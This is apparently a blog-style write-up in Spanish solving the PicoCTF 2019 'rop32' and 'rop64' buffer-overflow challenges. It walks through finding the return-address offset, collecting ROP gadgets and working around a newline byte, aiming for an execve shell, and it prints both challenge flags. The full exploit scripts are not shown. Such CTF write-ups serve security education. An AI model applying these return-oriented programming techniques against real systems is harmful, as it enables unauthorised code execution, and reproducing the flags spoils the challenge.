This article is also available in English.

Solución para rop32

El binario original lo podés descargar acá. Este challenge consistía en un ejecutable de linux y el siguiente código fuente en la competencia PicoCTF:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this one?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();

}

La vulnerabilidad claramente se encuentra en la function gets() que es particularmente vulnerable a buffer overflows.

Aquí debajo podemos ver que el stack no es ejecutable y que el NX bit esta activado:

$ cat /proc/14210/maps
08048000-080d7000 r-xp 00000000 08:01 4591593                            /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080d8000-080dc000 rw-p 0008f000 08:01 4591593                            /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080dc000-080dd000 rw-p 00000000 00:00 0 
08b94000-08bb6000 rw-p 00000000 00:00 0                                  [heap]
f7fcc000-f7fcf000 r--p 00000000 00:00 0                                  [vvar]
f7fcf000-f7fd1000 r-xp 00000000 00:00 0                                  [vdso]
fff1b000-fff3c000 rw-p 00000000 00:00 0                                  [stack]

$ checksec vuln
[*] '/home/0x705h/infosec/ctf/picoctf2019/rop32/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled <---- (!)
    PIE:      No PIE (0x8048000)

Como podemos ver, el NX bit esta activado, por lo que no podemos ejecutar código en el stack. Por lo tanto usar ROP para ejecutar código es una forma de atacar esta medida de seguridad del binario. Eventualmente vamos a tratar de obtener una shell usando solamente rop gadgets.

El siguiente paso es encontrar en que offset de la variable local buf de 16 bytes de la función vuln() pisamos el registro eip. Para ahorrar tiempo usamos cyclic que es un generador de secuencias únicas de strings que es un wrapper de la funcion De Bruijn.

$ cyclic 32  
aaaabaaacaaadaaaeaaafaaagaaahaaa
$ ./vuln 
Can you ROP your way out of this one?
aaaabaaacaaadaaaeaaafaaagaaahaaa
[1]    9664 segmentation fault  ./vuln
$ dmesg |tail -n 3 
[917749.538197] e1000 0000:00:03.0 enp0s3: Reset adapter
[917751.658430] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
[920436.368947] vuln[9664]: segfault at 61616168 ip 0000000061616168 sp 00000000ffba36f0 error 14
$ python2 -c 'print chr(0x68) + chr(0x61)*3' # little endian
haaa
$ cyclic --offset haaa                            
28

Paso a paso, lo que hacemos es pedirle a cyclic que nos dé un string de 32 caracteres. No hay ninguna razon en particular por la cual escogí un string de 32 bytes, es una longitud arbitraria pero suficientemente grande como para pisar eip. Lo copiamos y lo pasamos como input al programa vuln(). El buffer local buf de 16 caracteres se overflowea cuando escribimos más de que la memoria asignada para ese buffer a traves de la función gets() y pisamos varias variables del stack, llegando a pisar eip que es el Instruction Pointer o Program Counter en otras arquitecturas como ARM. El valor en eip es 0x61616168 que pasándolo a string nos devuelve haaa y al buscarlo de nuevo con cyclic nos devuelve el offset 28. Abajo grafico porque el valor es este:

x86 - punteros de 4 bytes

ESP  +---------> +-------------------+
                 | var. locales/etc  |  20 bytes (offset 0)  +
EBP  +---------> +-------------------+                       |
                 |        EBP        |  4 bytes (offset 24)  |
                 +-------------------+                       | Nuestro cyclic
                 |     EIP / RET     |  4 bytes (offset 28)  |
                 +-------------------+                       |
                 |     Argumentos    |  4 bytes (offset 32)  +
                 +-------------------+

Entonces el estado del stack antes del la instrucción leave en vuln() se encuentra de esta manera:

pwndbg> x/12x $esp
0xffffcce0:	0x61616161	0x61616162	0x61616163	0x61616164
0xffffccf0:	0x61616165	0x61616166	0x61616167	0x61616168
0xffffcd00:	0x00000000	0x0804f02b	0x080da000	0x000003e8

Y luego, antes de ejecutar el ret el estado del stack cambia a esta otra:

pwndbg> x/12x $esp
0xffffccfc:	0x61616168	0x00000000	0x0804f02b	0x080da000
0xffffcd0c:	0x000003e8	0xffffcd30	0x080da000	0x00000000
0xffffcd1c:	0x08048f6f	0x0806f0af	0x080da000	0x080da000

Teniendo toda esta información, empezamos a escribir nuestro exploit. En ROP la idea es que en vez de escribir código en el buffer, lo que hacemos es manipular el stack frame de manera tal que inyectamos direcciones de memoria válidas contenidas en el mismo binario que estamos ejecutando. Además, dependiendo de donde uno esté interpretando el binario y en que offset, tambien podemos “reinterpretar” el binario mirando las cadendas de bytes y chequear si son instrucciónes válidas de la arquitectura Intel. Para ver esto, usamos el programa ROPGadget que nos devuelve una lista de reinterpretaciones del binario con la particularidad que terminen en una instrucción ret, call, int 0x80 o syscall.

$ ROPgadget --depth=3 --binary ./vuln |grep 'pop .* ; ret'
[...] 
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xfffe
0x080c249f : pop eax ; retf
0x080c0c44 : pop ebp ; daa ; retf 0xd1cb
0x0804834c : pop ebp ; ret
0x0805bf9f : pop ebp ; ret 0xffff
0x0805d8b2 : pop ebp ; ret 4
0x080a1dcb : pop ebp ; ret 8
[...] 

Por ejemplo, varios gadget de este binario nos permitiría como se ve en este ejemplo, manipular los registros del procesador insertándole valores si acomodamos el stack de una manera piola. pop eax; ret nos permitiría guardar el valor 0x41414141 que se encuentre inmediatamente después en el stack 0x080a8e36 en eax:

       S T A C K

+----------------------+
|      0x080a8e36      | <-------+ pop eax ; ret
+----------------------+
|      0x41414114      | <-------+ eax <- 0x41414141
+----------------------+
|     Siguiente RET    |
+----------------------+

Exploit

El objetivo es ejecutar la syscall de linux execve usando solamente una rop chain empezando por nuestro registro eip que ya controlamos para obtener una shell en el servidor ejecutando el comando /bin/sh. El binario en el servidor que queremos explotar tiene el flag SUID activado con permisos de lectura para flag.txt que es el recurso que queremos leer. El exploit ejecuta /bin//sh y luego de la explotación, podemos ejecutar comandos en el server.

Mientras escribía el exploit, me encontré con el problema que el string que generaba para pasar como input al programa vulnerable estaba “cortado a la mitad”. La razón fue por el siguiente gadget:

0x080a8e36 : pop eax ; ret

El problema con la dirección de memoria 0x080a8e36 es que el byte 0x0a esta presente en la dirección y en el contexto de pasar como input esta direccion es que la consola interpreta 0x0a como un newline character ejecutando el input a la mitad.

Esta es la razón por la cual, en vez de usar pop eax; ret elegí el siguiente gadget para evitar este problema:

#0x080a8e36 : pop eax ; ret # bytes "malos" en la dirección de memoria
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret # y este gadget no contiene 0x0a
pop_eax = p32(0x080a8e36) 
*pop_eax_3 = p32(0x08056334) # watch out, this destroys edx and ebx*

Entonces, tengo que tener especial cuidado cuando cargo valores en el registro eax con mi gadget pop_eax_3 ( lo llamé asi para recordarme que hay 3 registros que se van a modificar en este gadget ) porque también carga valores a los registros edx y ebx, destruyendo el estado de los valores que tuviera cargados anteriormente.

Este es nuestro exploit final:

Y este es el flag: picoCTF{rOp_t0_b1n_sH_cb4c373e}

Solución para rop64

Son casi los mismos pasos y técnicas descriptas para rop32 pero teniendo en cuenta lo siguiente:

  • Los parámetros de la syscall execve se pasan por registros y no por stack
  • Tenemos espacio para escribir el string /bin/sh\x00 en un registro en un solo paso. Esto hace que el ropchain sea un poco más sencillo
  • En 64 bits no debemos llamar a int 0x80 sino a la instrucción syscall

Este es el exploit:

Y el flag picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_11cdd436}